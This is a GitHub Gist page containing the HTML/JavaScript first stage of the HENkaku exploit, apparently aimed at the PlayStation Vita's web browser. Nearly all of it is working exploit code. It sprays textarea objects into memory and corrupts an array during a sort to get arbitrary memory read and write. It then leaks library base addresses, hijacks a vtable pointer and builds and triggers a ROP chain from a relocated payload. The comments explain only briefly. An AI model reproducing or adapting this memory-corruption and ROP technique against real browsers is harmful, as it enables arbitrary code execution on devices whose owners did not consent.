Created
October 19, 2016 18:16
-
-
Save hexkyz/8553177330ebf31350be47d025354a0d to your computer and use it in GitHub Desktop.
HENkaku - Stage 1 (HTML code)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src='payload.js'></script> | |
<script> | |
var r, a, e, t, n, o, l, i, f, v, s, c; | |
var u, y, w, p, d, g, h, k, b; | |
var A, U; | |
var m = 0x40 + payload[16/4]; /* 0x40 bytes for ROP header + 1840 bytes for stack*/ | |
m /= 4; /* 476 */ | |
var _dview = null; | |
/* | |
Wrap two uint32s into double precision | |
*/ | |
function u2d(low, hi) | |
{ | |
if (!_dview) | |
_dview = new DataView(new ArrayBuffer(16)); | |
_dview.setUint32(0, hi); | |
_dview.setUint32(4, low); | |
return _dview.getFloat64(0) | |
} | |
/* | |
Unwrap uints from double | |
*/ | |
function d2u(d) | |
{ | |
if (!_dview) | |
_dview = new DataView(new ArrayBuffer(16)); | |
_dview.setFloat64(0, d); | |
return {low:_dview.getUint32(4),hi:_dview.getUint32(0)} | |
} | |
// Temporary space to store Element object | |
var aspace_temp = new Uint32Array(1024); | |
var word1 = 0; | |
var word2 = 0; | |
function swap(offset) | |
{ | |
word1 = aspace32[offset/4]; | |
word2 = aspace32[offset/4 + 1]; | |
return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0 | |
} | |
r = 0x4000; | |
textareas = new Array(r); | |
aspace_arr = new Array(r); | |
t = 0x1344; | |
n = 0x66656463; | |
o = 0x55555555; | |
for (var i = 0; i < aspace_arr.length; ++i) | |
{ | |
aspace_arr[i] = new Uint32Array(0x1344/4); | |
var e = document.createElement("textarea"); | |
e.rows = 0x66656463; | |
textareas[i] = e; | |
} | |
/* | |
Spray memory with Element objects | |
*/ | |
for (var i = 0; i < 1024; ++i) | |
{ | |
var e = document.createElement("textarea"); | |
e.rows = 0x66656463; | |
textareas.push(e); | |
} | |
var N = 0x3000; | |
var W = Array.prototype.constructor.apply(null,new Array(0x3000)); | |
var j = 2048; | |
var q = new Array(2048); | |
var z = {}; | |
var C = new Array(256); | |
z.toString = function() | |
{ | |
W.push(12345); | |
for (var r = 0; r < C.length; ++r) | |
{ | |
var a = Array.prototype.constructor.apply(null, q); | |
a[0] = 0; | |
a[1] = 1; | |
a[2] = 2; | |
C[r] = a; | |
} return"" | |
}; | |
W[0] = z; | |
var G = u2d(0x80000000, 0x80000000); | |
for (var i = 1; i < 8192; ++i) | |
W[i] = G; | |
W.sort(); | |
contents = ""; | |
cur = 0; | |
z.toString = function(){}; | |
var I = null; | |
for (var i = 0; i < C.length; ++i) | |
{ | |
if(C[i].length != j) | |
{ | |
I = C[i]; | |
break; | |
} | |
} | |
var count = 0x20000000 - 0x11000; | |
for(; ; count--) | |
{ | |
if(I[count] != 0) | |
{ | |
_dview.setFloat64(0, I[J]); | |
if (_dview.getUint32(0) == t/4) | |
{ | |
_dview.setUint32(0, 0xEFFFFFE0); | |
I[J] = _dview.getFloat64(0); | |
_dview.setFloat64(0, I[J - 2]); | |
v = _dview.getUint32(4); | |
_dview.setUint32(4, 0); | |
_dview.setUint32(0, 0x80000000); | |
I[J-2] = _dview.getFloat64(0); | |
break; | |
} | |
} | |
} | |
target_aspace = null; | |
for (var i = 0; i < aspace_arr.length; ++i) | |
{ | |
if(aspace_arr[i].byteLength != t) | |
{ | |
target_aspace = aspace_arr[i]; | |
break; | |
} | |
} | |
if (!target_aspace) | |
{ | |
alert("failed"); | |
while(1){}; | |
} | |
var aspace32 = target_aspace; | |
var fkvtable = v; | |
f = v; | |
/* | |
Find one of the sprayed Element objects in memory | |
by looking for the rows of the object | |
*/ | |
for (var addr = f/4; addr < f/4 + 0x4000; ++addr) | |
{ | |
if (aspace32[addr] == 0x66656463) | |
{ | |
aspace32[addr] = 0x55555555; | |
textarea_addr = addr * 4; | |
found_element = true; | |
break; | |
} | |
} | |
if (!found_element) | |
{ | |
alert("Did not find Element signature"); | |
while(1){}; | |
} | |
/* | |
Change the rows of the Element object then scan the array of | |
sprayed objects to find an object whose rows have been changed | |
*/ | |
var found_corrupted = false; | |
var corrupted_textarea; | |
for (var i = 0; i < textareas.length; ++i) | |
{ | |
if(textareas[i].rows == 0x55555555) | |
{ | |
corrupted_textarea = textareas[i]; | |
found_corrupted = true; | |
break; | |
} | |
} | |
if (!found_corrupted) | |
{ | |
alert("Did not find corrupted textarea"); | |
while(1){}; | |
} | |
var vtidx = textarea_addr - 0x70; | |
var textareavptr = aspace32[vtidx/4]; | |
scewkbase = textareavptr - 0xABB65C; | |
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49; | |
scekernbase = swap(scewkbase + 0x85F464) - 0x9031; | |
p = swap(scewkbase + 0x85D2E4) - 0x22D65; | |
d = swap(p + 0x2C688C) - 0x9E5; | |
g = swap(d + 0x3BC4) - 0xDC2D; | |
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED; | |
k = swap(g + 0x18BF4) - 0xD59; | |
b = swap(k + 0x9AB8) - 0x49CD; | |
// Copy vtable | |
for (var i = 0; i < 64; i++) | |
aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i]; | |
aspace32[vtidx/4] = fkvtable; | |
// Save Element object | |
for (var i = 0; i < 0x30; ++i) | |
aspace_temp[i] = aspace32[vtidx/4 + i]; | |
// Call setjmp | |
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1; | |
// Undefine scrollLeft | |
corrupted_textarea.scrollLeft = 0; | |
// Save payload address (jmp context) | |
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0; | |
payload_addr -= 0xEF818; | |
// Restore Element object | |
for (var i = 0; i < 0x30; ++i) | |
aspace32[vtidx/4 + i] = aspace_temp[i]; | |
payload_stack = payload_addr + 0x40; | |
payload_code = payload_addr + 0x10000; | |
payload_off = payload_addr/4; | |
// Build ROP payload | |
for (var i = 0; i < payload.length; ++i,++payload_off) | |
{ | |
// Reached the end of ROP header (first 0x770 bytes) | |
if (i == 476) | |
payload_off = payload_code/4; | |
switch(relocs[i]) | |
{ | |
case 0: | |
aspace32[payload_off] = payload[i]; | |
break; | |
case 1: | |
aspace32[payload_off] = payload[i] + payload_stack; | |
break; | |
case 2: | |
aspace32[payload_off] = payload[i] + scewkbase; | |
break; | |
case 3: | |
aspace32[payload_off] = payload[i] + scekernbase; | |
break; | |
case 4: | |
aspace32[payload_off] = payload[i] + scelibcbase; | |
break; | |
case 5: | |
aspace32[payload_off] = payload[i] + g; | |
break; | |
case 6: | |
aspace32[payload_off] = payload[i] + scenetbase; | |
break; | |
case 7: | |
aspace32[payload_off] = payload[i] + b; | |
break; | |
default: | |
alert("wtf?"); | |
alert(i + " " + relocs[i]) | |
} | |
} | |
// Trigger ROPchain | |
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8; /* LDM R1 gadget */ | |
var rchainaddr = fkvtable + 0x100; | |
aspace32[rchainaddr/4 + 5] = payload_code; | |
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1; | |
alert("Welcome to HENkaku!"); | |
// Set scrollLeft to ROP chain | |
corrupted_textarea.scrollLeft = rchainaddr; | |
alert("that's it"); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment